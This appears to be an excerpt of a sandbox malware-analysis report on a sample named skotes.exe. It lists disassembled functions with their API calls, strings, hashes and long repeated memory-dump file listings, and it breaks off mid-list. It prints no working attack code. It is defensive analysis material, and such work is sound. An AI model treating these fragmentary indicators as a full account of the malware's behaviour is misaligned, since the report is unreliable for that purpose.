Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: j718
API String ID: 3308344742-3131343938
Opcode ID: 0ec3e104be8d28acf2f5e7a3eba1572b0e90ff44576abdf9c51564b9583c7a52
Instruction ID: 59d2bd949d072e2bab979f8647596f5d00efb2fdf75305f1ec56bee5a235d8bf
Opcode Fuzzy Hash: 0ec3e104be8d28acf2f5e7a3eba1572b0e90ff44576abdf9c51564b9583c7a52
Instruction Fuzzy Hash: C631B2B1600B048FD724DF28C899B6AB7E5EF45321F14465DE96ACB391D734ED00CB90

Function 001FE0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 001FE10B
recv.WS2_32(?,?,00000008,00000000), ref: 001FE140

Strings

j718, xrefs: 001FE0D4

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: recv
String ID: j718
API String ID: 1507349165-3131343938
Opcode ID: 15082b0bcee7ce27faef4cecab139384b3acf537a903dfc6b426bdbd3dab0fe1
Instruction ID: d576611b48af6c56a4f786bb704469f27c36be6a9b85277396f54c295dc11b1d
Opcode Fuzzy Hash: 15082b0bcee7ce27faef4cecab139384b3acf537a903dfc6b426bdbd3dab0fe1
Instruction Fuzzy Hash: B33104B1A043489BD720CB69DC89BBB77FCEB09724F500625EA10E72D1D774A8448BA4

Function 0022F1BF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0022F232
__freea.LIBCMT ref: 0022F298

Part of subcall function 0022B04B: RtlAllocateHeap.NTDLL(00000000,00206CB7,?,?,0020D3FC,00206CB7,?,00207A8B,8B18EC84,04E40A32), ref: 0022B07E

Strings

Z",m", xrefs: 0022F1D2
j718, xrefs: 0022F1C7

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z",m"$j718
API String ID: 809856575-3164702526
Opcode ID: 03cc3a2ba39668e89c17a1f2e9c1e9425bf0daafd621ec57aa045ee41a70ba92
Instruction ID: 2cfcdaac427b6d7af908612ff1d7aa0fad273bb8d56b56ba6045b80f193a0b74
Opcode Fuzzy Hash: 03cc3a2ba39668e89c17a1f2e9c1e9425bf0daafd621ec57aa045ee41a70ba92
Instruction Fuzzy Hash: 3231BE7191022AFBDB219FA4EC41EAF7B78EF45710F054234FC14A7251DB308961CBA0

Function 0022182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002218A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 002218EB

Strings

pContext, xrefs: 0022189C

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 08495a2fa1d6af2a90be7fff3cdf7a49e7891e5326f9215c50d2d32f0ec75612
Instruction ID: 5bd7346ca7b244029822c9cc6fd8d668294001b553b123b257636cccbcd2b72f
Opcode Fuzzy Hash: 08495a2fa1d6af2a90be7fff3cdf7a49e7891e5326f9215c50d2d32f0ec75612
Instruction Fuzzy Hash: FB21FE35B30636BBDB14AFA4E8D5EBD73A5BF64334B040116E511872D1CBB4AC71CA92

Function 0022DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6", xrefs: 0022E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0022DFE8

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6"$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-3242797068
Opcode ID: 4b5de6e3712beebf28e58c0c4ac2aae0c0492809d5760c8604fc9a96a138fb08
Instruction ID: 200835646f5f5fff168af45985f2606d87ee655335a98d44b5af5acaa758ccff
Opcode Fuzzy Hash: 4b5de6e3712beebf28e58c0c4ac2aae0c0492809d5760c8604fc9a96a138fb08
Instruction Fuzzy Hash: 8221C57162422A7FDF30AFE5BC80E6B739DEF003647114514F914A6241E7A0EE71AA60

Function 0021AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0021AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0021AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0021AF4E

Strings

pExecutionResource, xrefs: 0021AF07

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
